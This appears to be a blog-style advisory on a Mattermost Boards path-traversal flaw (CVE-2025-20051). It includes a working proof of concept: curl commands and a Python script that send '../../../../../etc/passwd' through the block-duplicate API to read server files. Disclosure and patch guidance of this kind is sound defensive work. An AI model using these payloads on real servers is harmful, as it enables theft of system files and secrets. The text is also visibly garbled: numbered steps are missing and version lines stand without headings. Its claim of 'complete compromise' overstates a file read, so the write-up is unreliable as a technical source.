CVE-2025-20051 is a newly disclosed vulnerability affecting certain versions of the popular open-source collaboration platform Mattermost. This vulnerability gives attackers a way to read any file on the server just by crafting a malicious board block. If your organization uses Mattermost Boards in affected versions, read on to understand the risk and how it can be abused.

What is Mattermost and Boards?

*Mattermost* is a widely used chat and collaboration software, especially popular for enterprises wanting to keep their communications private and secure. Besides messaging, Mattermost offers *Boards*, which are similar to Trello or project kanban boards, to help teams track tasks and projects.

10.2.x up to 10.2.2

Anyone running these releases and allowing user access to Boards is at risk.

The Vulnerability In Simple Terms

When you duplicate or patch a block in Boards (for example, make a copy of a task), Mattermost is supposed to check that the data you provide is safe and valid. But in these vulnerable versions, those checks are not good enough.

A malicious user can exploit this by crafting the data sent when duplicating a Board block, inserting paths to system files (like /etc/passwd on Linux), and then reading their contents back through the application interface.

User creates or duplicates a Board block.

2. User crafts the block's data to reference a file path, like /etc/passwd.

Real-World Risk

If exploited, this vulnerability lets ANY BOARD USER on your Mattermost system access system files, configuration secrets, or anything else the Mattermost server can read.

Technical Walkthrough and Proof of Concept

Let's walk through a simplified example using the Mattermost Boards API. Suppose we want to read /etc/passwd.

Note: Replace {your_board_id} and {block_id} with IDs from your Mattermost instance. The attacker must have permission to create and duplicate board blocks.

1. Get Auth Token

Authenticate and get an access token or cookie (use web login or an API token).

List blocks using the API

curl -H "Authorization: Bearer $TOKEN" \
  "https://mattermost.example.com/api/v1/boards/{your_board_id}/blocks";

Now, craft a patch with a file path.

curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
        "sourceBlockId": "{block_id}",
        "data": {
          "attachment": "../../../../../etc/passwd"
        }
      }' \
  "https://mattermost.example.com/api/v1/boards/{your_board_id}/blocks/duplicate";

In the vulnerable versions, the server will not validate the attachment path and tries to read the file.

4. Read the File

The resulting duplicated block contains the file’s contents, viewable either in the response, board UI, or by fetching block data with:

curl -H "Authorization: Bearer $TOKEN" \
  "https://mattermost.example.com/api/v1/boards/{your_board_id}/blocks/{new_block_id}";

Here’s a minimal example in Python using requests

import requests

# Replace with your server and valid token
url = "https://mattermost.example.com/api/v1/boards/{board_id}/blocks/duplicate";
token = "YOUR_TOKEN"
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
data = {
    "sourceBlockId": "{block_id}",
    "data": {"attachment": "../../../../../etc/passwd"}
}

response = requests.post(url, headers=headers, json=data)
print(response.json())

*If successful, the JSON will contain the contents of /etc/passwd within a block.*

How Does This Work?

This issue is classic insufficient input validation. When duplicating a block, Board’s backend trusts user-provided references or paths, allowing directory traversal. The attacker escapes the normal data directory and specifies absolute or relative system paths.

10.2.3 or newer

See Mattermost Security Advisory for official upgrade details as patches become available.

If you can’t patch right away

- Remove/block access to Mattermost Boards.

References

- Official Mattermost Security Advisory (CVE-2025-20051)
- NIST CVE Database - CVE-2025-20051
- Mattermost Release Notes

Conclusion

CVE-2025-20051 is a serious file read vulnerability in Mattermost Boards. It’s easy to exploit and can result in complete compromise of your server.

Stay safe, patch early!

*If you found this helpful, follow Mattermost’s official security advisories for updates on vulnerabilities like this one.*

Timeline

Published on: 02/24/2025 08:15:10 UTC